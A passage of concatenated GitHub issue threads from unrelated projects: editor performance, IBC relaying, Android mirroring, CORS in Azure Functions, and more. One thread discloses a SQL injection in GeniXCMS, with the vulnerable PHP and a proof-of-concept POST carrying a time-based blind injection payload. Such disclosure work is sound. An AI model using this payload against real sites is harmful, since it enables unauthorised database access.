he first log intends to highlight the 2 falsy return along some args:

Hmm, i can see that delay, looks like the Python extension is slow here
based on this the Python extension is slowing a few things downwarn 09:39:30.372: Failed to get activated env vars for /bin/python3 in 132391ms
Please could you try the following

Please could you enable debug logging for the Python extension as well
Please re-loading vscode andtry  running this same process again and let me know if there's any improvement
Please share the logs for both Python and Jupyter

thanks for the timely response.
However I didn't find the python logging debug option, other than
"python.analysis.logLevel": "Trace"

Also, after connected to server with vscode remote, I waited awhile for loading extensions (which indeed takes awhile).
Then I opened a notebook, it still takes about ~ 2min for connecting to the jupyter kernel.
so my questions are:

is there any way to accelerate the extension loading process
is there any way to accelerate the kernel connection process

below are the logs, hope it helps:
extension_host.log
extension_host_remote.log
jupyter2.log
python.log

@qianyizhang
Thanks for the logs, not sure where you see 2m to start a kernel.
Based on the logs its much quicker than that
info 12:46:42.565: ZMQ loaded via fallback mechanism.
...
debug 12:46:46.904: VSCodeNotebookController::handleExecution, Class name = db (started execution)
...
debug 12:47:07.553: Cell 1 executed with state Success

As you can see above:

You have loaded vs code and the extension starts to load at 12:46:46 thats the very first log entry
Note, even though the log entry exists, the extension is still busy loading (this does not mean it has completed)
You run a cell 4 seconds later at 12:46:46
The output is displayed at 12:47:07

So from start to finish, loading the extensxion to getting an output of the cell takes less than 30s

based on this the Python extension is slowing a few things downwarn 09:39:30.372: Failed to get activated env vars for /bin/python3 in 132391ms

please note, these executions are all asynchronous and not necessarily part of the flow that slows down execution.

Also, after connected to server with vscode remote, I waited awhile for loading extensions (which indeed takes awhile).
Then I opened a notebook, it still takes about ~ 2min for connecting to the jupyter kernel.

Which step is slow, connecting to vscode remote and waiting for extensions to load?
Based on the logs, loading the jupyter extension and running the cell is <30s

I agree, it seems loading extension is the main casue.
However, launching kernel still takes some time, any idea on acclerating this?

debug 12:47:06.517: Launching kernel in kernelProcess.ts, Class name = th, completed in 23262ms, has a truthy return value, Arg 1: "/ssd/pkgs/uranus-detection", Arg 2: ""

Furthermore, do you have any idea on loading extension faster? I tried to disable any automatic update, doesn't seem to help much

However, launching kernel still takes some time, any idea on acclerating this?

Right now this takes < 25s, and thats pretty fast considering this is a conda environment. Conda environments take a lot of time to activate. I wouldn't consider this slow, for instance if you tried to do the same thing outside vscode, open a terminal, activate conda, launch jupyter notebook and run a cell, all of that would take around the same amount of time.

I agree, it seems loading extension is the main casue.

So now that we know Jupyter Extension is not whats slow lets focus on the delays in loading VS Code.

@roblourens perhaps you might some idea why things are a little slow in this remote scenario.

However, launching kernel still takes some time, any idea on acclerating this?

Right now this takes < 25s, and thats pretty fast considering this is a conda environment. Conda environments take a lot of time to activate. I wouldn't consider this slow, for instance if you tried to do the same thing outside vscode, open a terminal, activate conda, launch jupyter notebook and run a cell, all of that would take around the same amount of time.

I agree, it seems loading extension is the main casue.

So now that we know Jupyter Extension is not whats slow lets focus on the delays in loading VS Code.

I installed everything on SSD, and I have a pretty good server.
activate conda + starts jupyter notebook via cli takes ~5s.

Thanks,  Can we close this issue as fixed

Sure thing

If you fixed the problem by installing everything on a faster disk, that's a good indication that the system was just slow to load code. You can get some more specific numbers by running the command "Startup Performance" and checking the extension activation timing numbers. I'm not aware of any general perf issue with remotes.


Cleanup events. Allows skip for any event.

wip

Thank you for a pull request! Please check this document for how the Jenkins project handles pull requests


Allow Hermes to relay wasm messages

Summary
Hermes only detects ibc* events. By detecting wasm events it would be possible to relay wasm messages.
Acceptance Criteria

[ ] Hermes can relay wasm messages

For Admin Use

[ ] Not duplicate issue
[ ] Appropriate labels applied
[ ] Appropriate milestone (priority) applied
[ ] Appropriate contributors tagged
[ ] Contributor assigned/self-assigned

I think the solution here is to allow the configuration of desired message.module query strings.

I have found this issue while researching the neutron wasmd patch. Now I have some better context for the patch but I am wondering what the best solution would be?
In wasmd we keep only the root "message" event that started the process. Therefore "close channel" or ics-20 "transfer" messages emitted by a contract will not show up.
In my current understanding, hermes is looking at the message events emitted from ibc module operations for relayer work.
For example message.module = ibc_connection would cover
connection_open_init || connection_open_try || connection_open_ack || connection_open_confirm operations.
So I am thinking that it may make more sense to not rely on "message" events and "module" attribute but use the concrete events defined in ibc-go.
By doing this, the event queries would become a bit more complex but there would not be any need to make this "customizable" or patch wasmd.

So I am thinking that it may make more sense to not rely on "message" events and "module" attribute but use the concrete events defined in ibc-go.

@alpe I am not sure I understand what you mean by that? Could expand a bit on that?

In wasmd we keep only the root "message" event that started the process. Therefore "close channel" or ics-20 "transfer" messages emitted by a contract will not show up.
So I am thinking that it may make more sense to not rely on "message" events and "module" attribute but use the concrete events defined in ibc-go.

@alpe I am not sure I understand what you mean here, could you please expand a bit on what's the problem and what you would suggest we do instead?

tldr: there is no ibc 'message' event when the channel was created via CosmWasm submessage. Same for IBC packet send.
If hermes would query the non "message" events types instead then it should all work nicely.

@alpe is it possible to show us and example of the /block_results output for a block that includes the wasm emitted events, for example for packets sent/received?

@ancazamfir I don't have an example.
But as I tried to outline before: don't look at the wasm events but the ibc-go instead.


Better extendability of library

What I've created actually not the final thought, but an idea how the library could be extended.
Use case: I need to expose metrics in another place. (ex. at http endpoint in java spring application)
To be able to do this I actually hacked SnapshotConverter class this way
/** Converts a metric snapshot into a sequence of metric families. */
 def apply(tick: TickMetricSnapshot): Seq[MetricFamily] = {
   .........
   val metrics = byCategoryData.flatMap {
   .........
   }.map(postprocess(_)).toList
  // hack to expose metrics to custom KamonMetricsService
   KamonMetricsService.Instance.setMetrics(metrics)

   metrics
 }

The idea of PR is to subscribe to snapshots of Kamon to be able to use them at different places by different ways. Now the obvious subscriber is PrometheusEndpoint.
Do you find it interesting? Could you come up with a extendable way to implement this?

Coverage decreased (-1.7%) to 91.48% when pulling 953e849852172ce594264b1064a668f1b17a07e2 on f1yegor:master into 4efb2a4057ec953c22b3a0a5653c31aa09b4f578 on MonsantoCo:master.

I think we'll be able to handle this in 0.2.0 by decoupling the snapshot-gathering function from the publishing (endpoint) function.

yes, I think you mentioned this at issue #1

I have now published 0.2.0, you can subscribe to updates using an actor as described in the PrometheusExtension API doc.  Please let me know whether this satisfies your needs.

Excellent. Thank for update!


Run the scrcpy directly in Android Studio

[x] I have checked that a similar feature request does not already exist.

Is your feature request related to a problem? Please describe.
‐
Describe the solution you'd like
Create scrcpy plugin for Android Studio that can run "scrcpy window directly in Android Studio". This is similar to newly introduced feature to "Run the Android Emulator directly in Android Studio"
Describe alternatives you've considered
scrcpy --always-on-top
Additional context
https://developer.android.com/studio/preview/features/#run-emulator-studio

Could be an AS plugin.
https://github.com/Genymobile/scrcpy/issues/1073
This issue is about an external application using scrcpy's stream, which is kinda related. If anyone here has the skill/time it's probably possible.

what will be the price of this assignment? as already  https://github.com/qaisbayabani/SCRCPY-C-Sharp-Client is a gift for those who will spend more time to search converting H264 stream. i have checked it with java output and its working there too if you put an port listener at java you can receive 100% perfect movie at canvas. i will soon upload it.

I have been working on the same, and have achieved it successfully, checkout https://github.com/shripal17/ScrcpyController
For installation and downloads, check the releases page

+1 for this request

I don't know how to ask any question about scrcpy, pls copy it somewhere else where it should be.
I was able to mirror my mobile even without unzipping platform tools folder in window 10. Then what is the use of these extra files. And how to assign arrow keys in a game.

I don't know how to ask any question about scrcpy

A new issue, typically.

I was able to mirror my mobile even without unzipping platform tools folder in window 10.

Yes, the Windows release .zip is sufficient.

Then what is the use of these extra files.

Why did you download the platform tools folder in the first place? It's not needed by scrcpy, adb and its dependencies are included.

And how to assign arrow keys in a game.

Key arrows inject key arrows on the device. You can't map them. See #712

THis is my starting on the github and you are my first one. I m impressed. you are quite active.

This might be an awesome improvement! ❤


Add Python bindings

Motivation

Solution

PR Checklist

[ ] Added Tests
[ ] Added Documentation
[ ] Updated the changelog

We have pyo3 conversion to/from native integers now. This should cover most needs. Might revisit if we have interesting wrappers like a PrimeField type.


feat(sustaining): libreoffice-24.8 advisory - CVE-2012-5639 false-positive

Migrated this advisory over to the libreoffice-24.8 package from other libreoffice packages: https://github.com/wolfi-dev/advisories/blob/main/libreoffice-24.advisories.yaml, https://github.com/wolfi-dev/advisories/blob/main/libreoffice-24.2.advisories.yaml.


don't show download page when file doesn't exist

which also leads to another problem, how should we delete files from the db if the antivirus deletes them?

can the antivirus tell that the files are deleted? or can nya/pomf tell that the files are deleted?

cdcd currently deletes the files in the directory (or it should...), we could make it callback to cpomf to handle the deletion entirely itself.

@RX14 the latter is probably the better option, as deleting from the database should really be a thing


refactor: Fix typos

Found via codespell -L crate,te,bu,fpr.
Description

Motivation and Context

How Has This Been Tested?

Output (if appropriate):

Types of changes

[ ] Bug fix (non-breaking change which fixes an issue)
[ ] New feature (non-breaking change which adds functionality)
[ ] Breaking change (fix or feature that would cause existing functionality to change)
[x] Documentation (no code change)
[ ] Refactor (refactoring production code)
[ ] Other

Checklist:

[ ] My code follows the code style of this project.
[ ] I have updated the documentation accordingly.
[ ] I have formatted the code with rustfmt.
[ ] I checked the lints with clippy.
[ ] I have added tests to cover my changes.
[ ] All new and existing tests passed.

:partying_face: :partying_face: :partying_face: :partying_face: :partying_face:


Virtualization Support

Some D&D libraries, like React Sortable have virtualization features. Do you have plans to support rendering virtualization (React Virtualized) ?

That would be a good idea.

Hey,
There is no work in progress yet. Let's keep this issue as future improvement. But I can't tell a specific date for it.
Cheers!

any updates on this?


Update rbac-for-monitoring.md

inheriting the "View Monitoring" role is not enough to access the monitoring ui components. additional access to services/proxy and endpoints is needed.

Fixes #[issue_number]
Reminders

See the README for more details on how to work with the Rancher docs.

Verify if changes pertain to other versions of Rancher. If they do, finalize the edits on one version of the page, then apply the edits to the other versions.

If the pull request is dependent on an upcoming release, make sure to target the release branch instead of main.

Description

Comments

@gunamata @mantis-toboggan-md @gaktive
You had previously reviewed https://github.com/rancher/rancher-docs/pull/964, which relates to the view monitoring role. Could you have a look at this PR?

@prachidamle , As I see you handling the monitoring & logging charts in the recent org, Is this something you or someone on your team can take a look and provide some feedback please?


Images from Imagur not displaying in live view

I've found that images from Imagur do not display.
Fyi, same problem with Adobe Brackets live view so could it be something with my computer?
Checked in Firefox and Chrome on Windows 10.

I am having the seam issue. Did you solved it?

Unfortunately no, not yet :(

this worked for me:
instead of this link:
http://<IP_ADDRESS>:5500/
uses that:
http://localhost:5500/


SQL injection vulnerability in inc/lib/Control/Backend/menus.control.php in GeniXCMS v1.0.2(latest) discovered by "ADLab of Venustech"

inc/lib/Control/Backend/menus.control.php(line 377):
                    if (isset($alertDanger)) {
                        $data['alertDanger'] = $alertDanger;
                    } else {
                        Menus::updateMenuOrder(
                            $_POST['order']
                        );
                        $data['alertSuccess'][] = 'Menu Order Changed';
                    }

The updateMenuOrder function in inc/lib/Menus.class.php(line 364):
    public static function updateMenuOrder($vars)
    {
        foreach ($vars as $k => $v) {

            // print_r($v);
            $sql = array(
                        'table' => 'menus',
                        'id' => Typo::int($k),
                        'key' => $v,
                    );
            Db::update($sql);
        }
    }

The update function in inc/lib/Db.class.php(line 322):
    public static function update($vars)
    {
        if (is_array($vars)) {
            $set = '';
            foreach ($vars['key'] as $key => $val) {
                $val = self::escape($val);
                $set .= "`$key` = '$val',";
            }

            $set = substr($set, 0, -1);
            $sql = sprintf("UPDATE `%s` SET %s WHERE `id` = '%d' LIMIT 1", $vars['table'], $set, $vars['id']);
        } else {
            $sql = $vars;
        }
        if (DB_DRIVER == 'mysql') {
            mysql_query('SET CHARACTER SET utf8');
            $q = mysql_query($sql) or die(mysql_error());
        } elseif (DB_DRIVER == 'mysqli') {
            $q = self::query($sql);
        } elseif (DB_DRIVER == 'pdo') {
            $q = self::$pdo->exec($sql);
        }

        return true;
    }

We'll find that the "$key" in $set .= "$key = '$val',"; isn't be filtered, which leads to SQL injection.
PoC:
http://<IP_ADDRESS>/genixcms100/gxadmin/index.php?page=menus
POST parameters:
changeorder=1&token=YaJthps4lATcGzu81KwublEveIQWQJsTZ4EMCjNF9vDWFbHb4l02LTnxSsa55VKkMGph91SkwHXMpY99&order[0][id`%3D1 and (select * from (select(if(ascii(substr((select user()),1,1))%3D114,sleep(3),0)))a) and `name]=superfish

Don't forget to get a token first.

thank you, but this had been fixed at the latest release already. see this https://github.com/semplon/GeniXCMS/blob/master/inc/lib/Db.class.php#L322

mysql_escape_string filltered single quote, but attacker can do sql injection without single quote, like my PoC.

okay, i'll do some research first.

This is CVE-2017-6065.

@semplon What release or commit fixes this vulnerability?

aahh sorry again, i think i miss this issue.
i'll reopen again

@semplon Could you create new release when you have completely fixed this vulnerability, thanks?

@fgeek sure, i'm still checking another bug.

Hello @fgeek, @superfish9  since You had contribute to GeniXCMS, I'll send You JetBrains Opensource License for You. Please provide me with Your email so I can send it to You.
Thanks

@semplon Thank you for the offer, but not needed. I'm just here to make the internet more safer place for everyone and improve the quality of GeniX.

okay @fgeek, i'am really appreciate all your hard work to make GeniX more secure.
Thank You


Why is StandardScaler called with with_mean=False?

Hello! Thanks for providing this package. This isn't a bug, just a question, and apologies if I am missing something obvious - but on line 231 of lime_tabular.py, why is StandardScaler() called using with_mean=False?
What is the reason that we don't want to subtract the mean when scaling features? Thanks!

Good question, it is not obvious at all (we should have a comment there).
We never actually use scaler.transform, we do the mean centering ourselves here or here. Part of the reason for this is that we don't want the scaler to change categorical features, so we set their mean to 0 and scale to 1 here.
Setting with_mean=False allows the scaler to work on sparse data. It still computes the mean for dense data (which we use in the lines mentioned above).


Remember user selections

Save user choices to a file and auto-populate the default values each time from that file. This will make testing less tedious.

Pondering a simplified symbol substitution scheme that could include default values for each of the interactive prompts when you do a compile. One of these might be a environment symbol that specifies the MQTT script file directory where the compiled output should be placed ( after the "01__hb-" filename prefic, and .js file extension are added.)

The symbol file may make this obsolete. Could add feature to save user chooses and then pull them up as defaults next time.

completed in git merge 29


hardcode ansible_managed

ansible_managed always change, it results in ceph.conf change. Finally
it causes unexpected CEPH service restart.
This patch is to hard code ansible_managed to prevent unexpected CEPH
service restart.

Can one of the admins verify this patch?

"ok to test" to accept this pull request for testing
"test this please" for a one time test run
"add to whitelist" to add the author to the whitelist

Can one of the admins verify this patch?

"ok to test" to accept this pull request for testing
"test this please" for a one time test run
"add to whitelist" to add the author to the whitelist

Can one of the admins verify this patch?

"ok to test" to accept this pull request for testing
"test this please" for a one time test run
"add to whitelist" to add the author to the whitelist

LGTM

ok to test


WIP Add support for option-backspace

What does this PR do?

adds support for deleting by pressing option-backspace
#45

Closing this guy at the moment.


cnmts.json file seems to be incomplete (or corrupt)

The file ends with:
    "0100fcb00eef3001": {
        "0": {
            "contentEntries": [
                {
                    "ncaId": "14afd165a90473d6ee2e1b20d36d8e43",
                    "type": 2
                }
            ],

It is an incomplete json file.

should be fixed.


Can't get addon to work. Using react-query v4 and nextjs

Following the instructions none of my stories in storybook load, they all show a spinning circle.
I'm using nextjs and I'm using the "@storybook/nextjs" framework.

I'm having issues too. made it work with this workaround: https://github.com/mswjs/msw-storybook-addon/issues/119#issuecomment-1698581105
But I can't define handlers for each Story.
Did you have any luck?

Hey @conradogarciaberrotaran and @Mexflubber thanks for reporting this.
The mswLoader is the recommended way to use the addon because it avoids possible flakiness, as the decorator only runs as the story is rendering, while the loader runs before the story renders. But the mswLoader waits for the msw promise to resolve, and it seems like it never resolves for you. Could you please share a reproduction? That will make it much easier for me to understand what's going on and to provide a fix for it.

Thank you @yannbf , I've just tried to replicate the issue, basically I ran:
npx create-next-app@latest msw-storybook-issue --use-npm
npx storybook@latest init
npm i msw msw-storybook-addon -D
npx msw init public/

Added the public route of my nextjs to the staticDirs in main.js and added this story:
import { rest } from 'msw';
import { useEffect, useState } from 'react';

const SomeComponent = () => {
  const [response, setResponse] = useState(null);
  useEffect(() => {
    fetch("/api/some-endpoint")
      .then((response) => response.json())
      .then((data) => setResponse(data));
  }, []);

  return <div>{response?.firstName}</div>;
};

export default {
  title: 'Example/SomeComponent',
  component: SomeComponent,
};

export const Something = {
  parameters: {
    msw: {
      handlers: [
        rest.get('/api/some-endpoint', (req, res, ctx) => {
          return res(
            ctx.json({
              firstName: 'Neil',
              lastName: 'Maverick',
            })
          )
        }),
      ]
    },
  }
};

export const SomethingElse = {
  parameters: {
    msw: {
      handlers: [
        rest.get('/api/some-endpoint', (req, res, ctx) => {
          return res(
            ctx.json({
              firstName: 'bob',
              lastName: 'Maverick',
            })
          )
        }),
      ]
    },
  }
};

And it's working correctly.
I'm not able to reproduce it. I will try updating the versions on my project to see if the issue is fixed.

Updating the libraries fixed my issue, I updated msw, storybook and msw-storybook-addon to latest

That's great! Thank you for reporting back. I will be closing this issue, let me know if this happens again.


CI: Allow passing pre-release Python versions to setup-python

This allows Python 3.13, which is now in release candidate phase, to also be setup.
Ref https://github.com/actions/setup-python/blob/main/docs/advanced-usage.md#allow-pre-releases

Many thanks for your many PRs @EwoutH!  I'm traveling for the next couple days, but will review and merge soon

thanks!


fix(taskframework): cannot rollback stop when destroy executor failed

What type of PR is this?

module-taskframework
What this PR does / why we need it:
because stop remote task and destroy executor is two phases, stop remote action cannot be rollback if destroy failed, we should do check conditional about executor can be destroy
Which issue(s) this PR fixes:

Fixes #
Special notes for your reviewer:

Additional documentation e.g., usage docs, etc.:

may change target branch to dev/4.3.0

okey , create a new  PR, and close this pr

see new pr: https://github.com/oceanbase/odc/pull/2745


IOTDB-750 Allow SubDevices in IoTDB.

Thanks all reviewers so far, especially the suggestion to change LeafMNode name and to clarify intent (Add Measurements BELOW a Measurement(s), NOT add device below device), so a Node can at the same time be a device and a timeseries. I added all changes and rebased : )


Rectangles intersection

Rect2::intersects() consider than two rectangles placed side by side are intersected :
var r1 = Rect2(0,0,2,2)
var r2 = Rect2(2,2,2,2)
print(r1.intersects(r2)) # true

This code works :
r1.end.x > r2.pos.x and r1.end.y > r2.pos.y and r1.pos.x < r2.end.x and r1.pos.y < r2.end.y

nice catch this should definitely be as you describe, changing it


feat(module): add enhanced parsing support for Italian language

:tada: This PR is included in version 3.6.0 :tada:
The release is available on:

npm package (@latest dist-tag)
GitHub release

Your semantic-release bot :package::rocket:


API "lagged"

Hello I'm trying to run this example with python35 and python27
but the problem is the api freezes at while sometimes, and take long to display messages...
What I tried:
Running in Windows...

python2.7
python3.5

import time
from webwhatsapi import WhatsAPIDriver
print "waiting for QR"
driver = WhatsAPIDriver(username="mkhase")
#driver.firstrun()
driver.view_unread()
print "bot started"
while True:
    time.sleep(1)
    print('checking for more messages')
    for contact in driver.view_unread():
        for message in contact[u'messages']:
            msg = message['message'].encode('ascii', 'ignore').decode('ascii')
            print(msg)

log in screen

checking for more messages
checking for more messages
checking for more messages
checking for more messages
checking for more messages
checking for more messages
checking for more messages
checking for more messages
checking for more messages
checking for more messages
checking for more messages
checking for more messages
checking for more messages
checking for more messages
checking for more messages
checking for more messages
checking for more messages
checking for more messages
checking for more messages
checking

frozes here, and have alot of msg to display...

I haven't been able to reproduce the issue. Try the new version, and tell me if the problem still exists


i was just wondering whenever i am changing locale by setlocale method why the locale.ready event is not trigerring which is written inside directive.

link: function(scope, element){
scope.labels = {};
locale.ready('radar').then(function () {
scope.labels.PLACE = locale.getString('radar.PLACE');
scope.labels.PRICE = locale.getString('radar.PRICE');
scope.labels.PROMO = locale.getString('radar.PROMO');
scope.labels.OPPORTUNITY = locale.getString('radar.OPPORTUNITY');
scope.labels.SALESDOLLARS = locale.getString('radar.SALESDOLLARS');
});
scope.$watch('labels.PLACE', function () {
if (scope.labels.PLACE!=undefined)
drawRadar();
})

Hi, this is expected. The locale.ready returns a promise, and the promise is resolved once the locale service has loaded the file requested in the language set.
When the language is changed a new promise is created to handle the new file load, so your locale.ready won't re-trigger since it is hooked to the old promise. There is no way to reset a promise so you will have to attach a new locale.ready handler for that.
You will have to put the locale.ready inside a listener for the locale changed event so that you can programmatically re-capture every time the language is changed.
angular.module('my.module', ['ngLocalize'])
    .controller('MyCtrl', function(locale, localeEvents) {
        $scope.$on(localeEvents.localeChanges, function () {
            locale.ready('common').then(function() {
                $scope.strings.yes = locale.getString('common.yes');
            });
        });
    });

https://gist.github.com/revolunet/6771456


Macintosh SE FDHD won't boot from piscsi on cold boot

Info
Which version of Pi are you using: 3 Model A
Which github revision of software: v23.02.01
Which board version: 2.4a
Which computer is the PiSCSI connected to: Mac SE FDHD
Describe the issue
I can't do a cold boot straight from an image on my piscsi. It enters into a weird infinite loop. See this video.
What works:
0. Insert bootable floppy

Power up piscsi
Power up Macintosh
Boot up from floppy
Eject floppy
Run system picker and pick an image from the piscsi
Reboot from image
All is good

What doesn't work:
0. No bootable floppy in drive

Power up piscsi
Power up Macintosh
Watch it loop like in the video

Have you tried with other hard drive images? It could be a problem with the embedded driver, either corruption on the boot partition or a marginal compatibility problem. You can try using Disk Jockey to swap out with other drivers.

@rdmark I detached all drives except my main one and it's working now. There must have been something wrong with one of my other drive images. Thanks!

Good to hear! Yes Macs can be picky about specific drive images and the partition schemes on them.


Subject may be redundant

The subject field seems to be redundant unless we have plans to have other notary fields in the future. This condenses that into a single top level notary field with the payload to be signed.
Signed-off-by: Brandon Mitchell<EMAIL_ADDRESS>

The notary field is the top level claim which contains a subject field of type descriptor. This allows us to add additional fields under notary field in future without requiring them to be under the descriptor (which only supports adding them as annotations, and restricts them to key value pairs). Though it seems bit redundant, it allows us to add fields under notary while we discover all of the metadata we want to capture in the payload. I don't see a downside from end customer experience. We can could remove the nesting at RC phase if we end up only requiring the descriptor, and possibly renaming notary to something more descriptive that conveys the claim is about the subject manifest.

The extensibility requirement in OCI is for implementations to ignore unknown fields.  Which means if there's a need to have more than a key/value pair in an annotation, you could add additional fields to your implementation without breaking other users of the descriptor.

No concerns given that we can extend the descriptor with other sub key for complex shapes that cannot fit into annotations.  Suggestion, should we rename the top level notary to subjectDescriptor, a more descriptive name.
cc: @priteshbandi  @shizhMSFT  @SteveLasker

Once we have consensus on the name, let me know and I'll rebase it.

No concerns given that we can extend the descriptor with other sub key for complex shapes that cannot fit into annotations. Suggestion, should we rename the top level notary to subjectDescriptor, a more descriptive name.

notary is good enough to me as long as we have documented it.

I've adjusted to use "subject" instead of "notary" based on our discussion today.

LGTM


PreProcessing phase failing

Hi,
Does PreProcessing take binary edgelist or edgelist in text format?
I am passing edgelist in text format and it is failing since it's trying to find the number of edges from the file size and file size in edgelist takes into account spaces and tabs, etc.

Hi. You need to use an edge list in binary for preprocessing.

Thank you for the quick reply.
Is there any tool provided I can use to convert edgelist to binary?


Bug: Cannot decode response body

'utf-8' codec can't decode byte 0xff in position 0: invalid start byte
Traceback (most recent call last):
  File "/Users/daniel.kuehn/Library/Python/3.12/lib/python/site-packages/getgauge/executor.py", line 33, in execute_method
    step.impl(*params)
  File "/Users/daniel.kuehn/Library/Python/3.12/lib/python/site-packages/gauge_api_steps/api_steps.py", line 178, in make_request
    report_response_info(resp, resp_body)
  File "/Users/daniel.kuehn/Library/Python/3.12/lib/python/site-packages/gauge_api_steps/reporting.py", line 41, in report_response_info
    print_and_report(f"< {resp_body.decode()}")
                          ^^^^^^^^^^^^^^^^^^
UnicodeDecodeError: 'utf-8' codec can't decode byte 0xff in position 0: invalid start byte

Happens when config props for logging response is turned on.

Closed with #56


[Docs] Change documentation in the Python Developers guide to reflect that we now support CORS

Linux consumption platform is not providing this out of the box.

@asavaritayal When can we expect this to be delivered. I am already facing this issue and not able to fix the CORS issues within my Azure functions

@jashan05 You can already enable the scenario for your function by setting the ACCESS-CONTROL-ALLOW-CREDENTIALS header in the HTTP response. Current backlog item is tracking the documentation work only.

@asavaritayal  could you please provide an example may be... I am not able to wrap my head around it. :)

@asavaritayal Can you provide example? I've tried setting it in  func.HttpResponse(data, headers=headers), but it doesn't work.

@jashan05  You will need to use something like this (if required replace * with the domain you will be using to make the request)
headers = {"Access-Control-Allow-Origin": "*"}
return func.HttpResponse("Hello", headers = headers)
@wboleksii  Can you provide more details on what is not working?

@jashan05  Try the following (if required replace * with the domain you will be using to make the request)
headers = {"Access-Control-Allow-Origin": "*"}
return func.HttpResponse("Hello", headers = headers)

@wboleksii Can you provide more details on what is not working?

@balag0
Apparently when you change a plan from Linux Consumption to App Service, something goes wrong. I recreated resources from scratch and now it's working fine.

@asavaritayal should this move to sprint 53? Should we put this back in Triaged?

@jashan05  Try the following (if required replace * with the domain you will be using to make the request)

headers = {"Access-Control-Allow-Origin": "*"}
return func.HttpResponse("Hello", headers = headers)

Adding @ggailey777 and @craigshoemaker to formalize into the developer guide as a workaround for a known limitation.

Hi, first of all. Thanks for your comments, I was able to add the headers to the pre-flight.
Nevertheless, I needed to add the OPTIONS  method to all the httpTrigger functions in functions.json, as it's required for CORS requests in chrome.
      "methods": [
        "get",
        "options"
     ]

Is that the expected behavior? I have another functions project in javascript language and I didn't need to add the OPTIONS method.

Tracking this requirement internally here.

We know support CORS natively in Python Consumption now. @ggailey777 we dont need the workaround anymore. Can we please change the documentation on the Python Developers page to reflect that.

Will close this out when the documentation is updated. Will keep it open till then.

Can close this out - we have cleaned up the documentation.


set connection/read timeout on client

Hi,
I am trying to set connection timeout on the client and realized that its not possible with AbstractFeignJaxRsClient https://github.com/palantir/http-remoting/blob/aafb00d031019c893c08b12b61c6511adbb44097/jaxrs-clients/src/main/java/com/palantir/remoting3/jaxrs/AbstractFeignJaxRsClientBuilder.java#L140, and request timeout doesnt seem to be working for my use case (want to check if server is down but want to lower the timeout to 1-2s)
this does not match the behavior for Retrofit2Client https://github.com/palantir/http-remoting/blob/04bf50f536865d4678e34ecdc3cdbf7dd8af2f6d/retrofit2-clients/src/main/java/com/palantir/remoting3/retrofit2/Retrofit2ClientBuilder.java#L100 and I wonder why that's different?

Feign overwrites some of the options, see https://github.com/palantir/http-remoting/blob/aafb00d031019c893c08b12b61c6511adbb44097/jaxrs-clients/src/main/java/com/palantir/remoting3/jaxrs/AbstractFeignJaxRsClientBuilder.java#L93 .

unfortunately overwriting request options doesn't seem to work for the case:
server1 making request (with default client 10s timeout) to server2, server2 is making feign call to server3 but server 3 is down... server1 timeout before server2 timeout even though the feign call has set connection/read timeout to 2s...
it's possible that either the request timeout not working... or is not sufficient to kill the connection...switching to retrofit client fixes this issue

Can you provide a simple repro ad a test here?
Sent from Email+ secured by MobileIron
-------- Original Message --------
From: sixinli <notifications<EMAIL_ADDRESS>Date: Tue, Aug 22, 2017, 4:37 PM
To: palantir/http-remoting <http-remoting<EMAIL_ADDRESS>CC: Robert Fink <rfink@palantir.commailto:rfink@palantir.com>,Comment <comment<EMAIL_ADDRESS>Subject: Re: [palantir/http-remoting] set connection/read timeout on client (#512)
unfortunately overwriting request options doesn't seem to work for the case:
server1 making request (with default client 10s timeout) to server2, server2 is making feign call to server3 but server 3 is down... server1 timeout before server2 timeout even though the feign call has set connection/read timeout to 2s...
it's possible that either the request timeout not working... or is not sufficient to kill the connection...switching to retrofit client fixes this issue
—
You are receiving this because you commented.
Reply to this email directly, view it on GitHub[github.com]https://urldefense.proofpoint.com/v2/url?u=https-3A__github.com_palantir_http-2Dremoting_issues_512-23issuecomment-2D324065528&d=DwMFaQ&c=izlc9mHr637UR4lpLEZLFFS3Vn2UXBrZ4tFb6oOnmz8&r=UfcWCaR4ui50AFap-gezrx5XYtPtH-9JpazU7tbRW-4&m=HJFJD0NdwnbGYhugg6hnield4bikSWPO5lckAMn33vU&s=VWqzj-ULDEwOX--4pyj5pMYSaPqSbVblRG-bd32EMEo&e=, or mute the thread[github.com]https://urldefense.proofpoint.com/v2/url?u=https-3A__github.com_notifications_unsubscribe-2Dauth_AGOdwUuvVBByoGxrjTKPqfOAzjBHkuidks5savW2gaJpZM4O99um&d=DwMFaQ&c=izlc9mHr637UR4lpLEZLFFS3Vn2UXBrZ4tFb6oOnmz8&r=UfcWCaR4ui50AFap-gezrx5XYtPtH-9JpazU7tbRW-4&m=HJFJD0NdwnbGYhugg6hnield4bikSWPO5lckAMn33vU&s=oz_swg8ZUIokLWGc7EACkzyppj_G6H5MyC7XR7Pam84&e=.

is this still an issue? closing for now, happy to re-open if there is any movement

There's a workaround by using the retrofit2client and no time to setup an exact repro, fine with closing it


Updated channels.csv

Added DTXCzech
Updated some CZ/SK icons to be more consistent

The thing is, most of the logos in the database have transparent background (https://iptv-org.github.io/?q=.cz), so for consistency it's actually better to keep the previous versions.

Got your point. This change is affecting Czech EPG. I did that because when I load EPG with current icons, it's not consistent. Different sizes, styles, shapes and quality. My plan is to change all CZ/SK Channel logos.

My plan is to change all CZ/SK Channel logos

And what about the other 29,705 channels?

My plan is to change all CZ/SK Channel logos

And what about the other 29,705 channels?

As I'm CZ/SK EPG user I don't use other EPGs, same as other CZ/SK people. I'm quite not getting your point. Logos on those 29k.channels are not consistent at all. I just wanted to make CZ/SK consistent. Same thing can be done on there EPGs by other contributors.

Well, If the rest of the logos have to be updated by other community members, I think it's worth asking their opinion first (https://github.com/iptv-org/iptv/discussions) and determine at least the general requirements for these images ("...sizes, styles, shapes and quality").

Well, If the rest of the logos have to be updated by other community members, I think it's worth asking their opinion first (https://github.com/iptv-org/iptv/discussions) and determine at least the general requirements for these images ("...sizes, styles, shapes and quality").

Okay, as this would be time consuming for me, can you approve this PR with your change request? Only add back DTX. Thank you

Closed in favor https://github.com/iptv-org/database/commit/a67f02586e926af8b057a83c5266e1344b73ed48


Wrong link for umami analytics

Hey, I was trying to use Umami analytics in a tailwind-next-starter project but I keep getting errors about it being the wrong script URL. I think the problem is here —
https://github.com/timlrx/pliny/blob/1e82c4e45fb2ea8533aeb6c265822acf312e7067/packages/pliny/src/analytics/Umami.tsx#L14
I believe the URL should be — https://analytics.umami.is (worth double checking though).
It would also be cool if the analytics scripts were automatically proxied to improve tracking (I do this manually currently).
Hope this helps, thanks!

Thanks! Realized that umami launched its cloud service. Have updated src to point to https://analytics.umami.is/script.js. Have also exposed src or host in the components so they can be more easily proxied.

thanks!


